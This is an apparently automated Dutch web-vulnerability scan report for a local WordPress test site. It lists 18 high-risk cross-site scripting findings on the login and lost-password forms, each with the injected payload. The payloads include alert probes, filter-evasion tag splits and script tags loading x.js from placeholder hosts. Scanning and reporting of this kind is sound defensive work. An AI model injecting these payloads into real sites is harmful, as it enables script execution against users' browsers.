Scan Rapport

Algemene Informatie	
Klant:	test
Bedrijf:	test bv
Email:	webapplicatietest@gmail.com

Scan Informatie	
URL:	http://cms.local
Server:	Apache
Scan type:	Full Scan
Start tijd:	2017-09-27 09:21:54
Eind tijd:	2017-09-27 09:24:42
Scan tijd:	3 minuten

Scan Resultaten

Dreigingsniveau (Kleur code)	Niveau	Omschrijving
	4	Er zijn één of meer zeer zorgwekkende kwetsbaarheden op de website gevonden. De kans op exploitatie door hackers is zeer hoog. Hackers kunnen toegang krijgen tot het backend systeem en daarop de databases muteren.

Totale dreigementen gevonden	
Hoog:	18
gemiddeld:	0
Laag:	0

Categorie dreigementen	Dreigingsniveau	Aantal	Omschrijving
XSS	hoog	18	Cross-site scripting is een type kwetsbaarheid dat vooral gevonden wordt in webapplicaties. XSS maakt het mogelijk voor hackers om client-side scripting talen te injecteren op webpagina's.

Advies: XSS

Cross-site scripting is een veel voorkomende client-side kwetsbaarheid waarbij de aanvaller client-site code injecteert op webpagina.
Er zijn twee basis regels waar een website aan moet voldoen om dit probleem te verkomen:

Regels

- Voer nooit onvertrouwde data in, behalve op toegestaande locaties
- Voordat de data wordt ingevoerd moet de HTML Escaped worden

Detials van gevonden kwetsbaarheden

ID: 135

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params

Aanval: <script>alert('c98malfnwt')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:18

ID: 136

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params

Aanval: <script>alert("c98malfnwt")</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:18

ID: 137

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params

Aanval: <script>String.fromCharCode(0,c98malfnwt,1)</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:19

ID: 138

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params

Aanval: <script src=http://c98malfnwt/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:19

ID: 139

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params

Aanval: <script[TAB]src=http://c98malfnwt/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:19

ID: 140

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('c98malfnwt')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:23

ID: 141

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params	
Aanval: <scr<script>ipt>alert("c98malfnwt")</script>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: POST	
Datum: 2017-09-27 09:24:24	

ID: 142
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php
Parameter: form-params
Aanval: <scr<script>ipt>String.fromCharCode(0,c98malfnwt,1)</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-09-27 09:24:24

ID: 143
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php
Parameter: form-params
Aanval: <scr<script>ipt src=http://c98malfnwt/x.js></script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-09-27 09:24:25

ID: 144
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword
Parameter: form-params
Aanval: <script>alert('1gs5gsu2c4')</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-09-27 09:24:34

ID: 145

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword

Parameter: form-params

Aanval: <script>alert("1gs5gsu2c4")</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:34

ID: 146

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword

Parameter: form-params

Aanval: <script>String.fromCharCode(0,1gs5gsu2c4,1)</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:35

ID: 147

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword

Parameter: form-params

Aanval: <script src=http://1gs5gsu2c4/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:35

ID: 148

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword

Parameter: form-params

Aanval: <script[TAB]src=http://1gs5gsu2c4/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:36

ID: 149

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword

Parameter: form-params

Aanval: <scr<script>ipt>alert('1gs5gsu2c4')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:39

ID: 150

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword

Parameter: form-params

Aanval: <scr<script>ipt>alert("1gs5gsu2c4")</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:40

ID: 151

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword

Parameter: form-params

Aanval: <scr<script>ipt>String.fromCharCode(0,1gs5gsu2c4,1)</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-27 09:24:40

ID: 152

Module: xss

Risico: high	
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword	
Parameter: form-params	
Aanval: <scr<script>ipt src=http://1gs5gsu2c4/x.js></script>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: POST	
Datum: 2017-09-27 09:24:40	